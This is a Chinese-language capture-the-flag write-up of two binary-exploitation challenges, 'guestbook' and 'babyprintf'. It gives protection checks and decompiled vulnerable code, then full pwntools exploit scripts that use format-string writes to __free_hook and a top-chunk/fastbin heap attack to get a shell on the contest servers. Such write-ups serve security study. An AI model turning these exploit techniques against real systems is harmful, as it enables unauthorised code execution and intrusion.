hctf_levle2

guestbook

  • file guestbook

    1
    guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=798140e4e21252a80464305f38888d319890d5cd, stripped
  • checksec guestbookl 开有pie, got表不可改。

    1
    2
    3
    4
    5
    Arch:     i386-32-little
    RELRO: Full RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
  • 主要漏洞函数

    • snprintf参数可控

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27

      unsigned int see_E11()
      {
      unsigned int v1; // [esp+8h] [ebp-110h]
      char s[252]; // [esp+Ch] [ebp-10Ch]
      unsigned int v3; // [esp+10Ch] [ebp-Ch]

      v3 = __readgsdword(0x14u);
      puts("Plz input the guest index:");
      v1 = read_B40() % 0xAu;
      if ( *(&list_3040 + 10 * v1) )
      {
      memset(s, 0, 0x100u);
      strcpy(s, "the name:");
      snprintf(&s[9], 0xF7u, &list_3040 + 40 * v1 + 4);//列表中的内容为我们输入的内容
      puts(s);
      memset(s, 0, 0x100u);
      strcpy(s, "the phone:");
      snprintf(&s[10], 0xF6u, dword_3064[10 * v1]);
      puts(s);
      }
      else
      {
      puts("Go away,hacker QAQ !");
      }
      return __readgsdword(0x14u) ^ v3;
      }
  • 漏洞利用(snprintf 可以将指针先输出到栈上)

    • leak elf加载地址和libc加载地址。
    • 利用格式串逐位修改hook函数(malloc会在add时调用,所以选择__free_hook)。
    • one_gadget不满足条件,需要使用system,因此需要将被free的指针改为/bin/sh的地址。
  • 最终脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    #context.log_level = 'debug'
    slocal =0
    if slocal:
    p = process("./guestbook",env={"LD_PRELOAD":"./libc"})
    else:
    p = remote('47.100.64.171',20002)# nc 47.100.64.171 20002
    token = 'meLcB3PCrDZBAUsKkizIxLqVpU23NYgu'
    p.recvuntil('token')
    p.sendline(token)
    def add(name,number):
    p.recvuntil("your choice:")
    p.sendline("1")
    p.recvuntil("your name?")
    p.sendline(name)
    p.recvuntil("your phone?")
    p.send(number)
    def dele(idx):
    p.recvuntil("your choice:")
    p.sendline("3")
    p.recvuntil("index:")
    p.sendline(str(idx))

    def see(idx):
    p.recvuntil("your choice:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
    def pwn():
    add('%p'*3,'1'*16)
    see(0)
    p.recvuntil('the name:')
    elf = int(p.recvn(10),16)-0xe3a
    log.info( "elf address is "+hex(elf))
    libc = int(p.recvuntil('\n')[-11:-1],16 )- 0x1b2da7+0x2000
    log.info("libc address is "+hex(libc))
    free_hook = 0x1b18b0+libc
    malloc_hook = 0x1b0768+libc
    one = libc+ 0x5f065
    log.info("hook address is "+hex(free_hook))
    system =libc+0x3a940
    log.info("one is" + hex(one))
    log.info( pidof(p))
    raw_input()
    #one = 0xdadebeef
    bin_sh = libc + 0x15900b
    one = p32(system)
    aa = elf+0x3064
    for x in xrange(4):
    a = ord(one[x])
    payload = 'sh;'+p32(free_hook+x)+'%'
    payload +=str(a-len(payload)+1)+'c'+'%8$hhn'
    add(payload,'1'*16)
    see(x+1)
    print hex(bin_sh)
    raw_input()
    bi = p32(bin_sh)
    for x in xrange(4):
    a = ord(bi[x])
    payload = 'AAA'+p32(aa+x)+'%'
    payload +=str(a-len(payload)+1)+'c'+'%8$hhn'
    add(payload,'1'*16)
    see(x+5)
    p.recvuntil("choice:")
    p.sendline('3')
    p.sendline('0')
    p.interactive()
    pwn()

babyprintf

  • file guestbook

    1
    babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
  • checksec guestbookl 开有 FORTIFY,格式串……

    1
    2
    3
    4
    5
    6
    Arch:     amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    FORTIFY: Enabled
  • 主要函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
        void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
    {
    void *v3; // rbx
    unsigned int v4; // eax

    sub_400950();
    while ( 1 )
    {
    __printf_chk(1LL, "size: ");
    v4 = sub_400990();
    if ( v4 > 0x1000 )
    break;
    v3 = malloc(v4);//申请任意大小的空间,没有free只有malloc
    __printf_chk(1LL, "string: ");
    gets(v3);//溢出...
    __printf_chk(1LL, "result: ");
    __printf_chk(1LL, v3);//可以用来leak
    }
    puts("too long");
    exit(1);
    }
  • 利用sysmalloc的_int_free制作空控的空闲堆块(fastbin,smallbin不会)

    • top_chunk 满足条件(不想看源码,直接看别人的总结)
      • 1.大于MINSIZE(0X10)
      • 2.小于所需的大小 + MINSIZE
      • 3.prev inuse位设置为1
      • 4.old_top + oldsize要在一个页中
  • 又是我不知道的新姿势(虽然有比赛有用到,然而我并没有认真研究过top_chunk)
  • 最后就是fastbin attack 这次one_gadget终于能用了

  • 最终利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    context.log_level = 'debug'
    slocal = 1
    if slocal==1:
    p = process("./babyprintf")#,env={"LD_PRELOAD":"./libc-2.24.so"})
    else:
    p= remote("47.100.64.113",20001)#nc 47.100.64.113 20001
    token = 'meLcB3PCrDZBAUsKkizIxLqVpU23NYgu'
    p.recvuntil('token')
    def add(size,con):
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("string:")
    p.sendline(con)
    libc = ELF("./libc-2.24.so")
    def pwn():
    payload = '%p'*5+'AAA'+'%p'+'BBB'
    add(0x1000,payload)
    p.recvuntil("result: ")
    p.recvuntil("AAA")
    data = p.recvuntil("BBB")[:-3]
    libc.address = int(data,16)-libc.symbols['__libc_start_main']
    print "libc address is "+hex(libc.address)
    raw_input()
    for x in xrange(32):
    add(0x1000,'AAA')
    #add(0xd10,'AAAA')
    fake_heap = 0x60101a
    add(0x1000,'B'*0x1000+'b'*8+p64(0xde1))
    add(0x500,'aaa')
    add(0x820,'bb')
    add(0x1000,'DSDDDD')
    add(0xa0,'c'*0xa8+p64(0xf41))
    add(0x600,'AAA')
    add(0x8c0,'bbbbb')
    add(0x1000,'FFF')
    print pidof(p)
    raw_input()
    add(0x70,'A'*0x22000+'B'*8*7+p64(0x41)+p64(fake_heap))
    add(0x30,'aaa')
    one = 0x4557a+libc.address
    payload= '/sh;AA'+p64(one)*6
    add(0x30,payload)
    p.interactive()
    pwn()

强势膜杭电大师傅,比赛很好玩。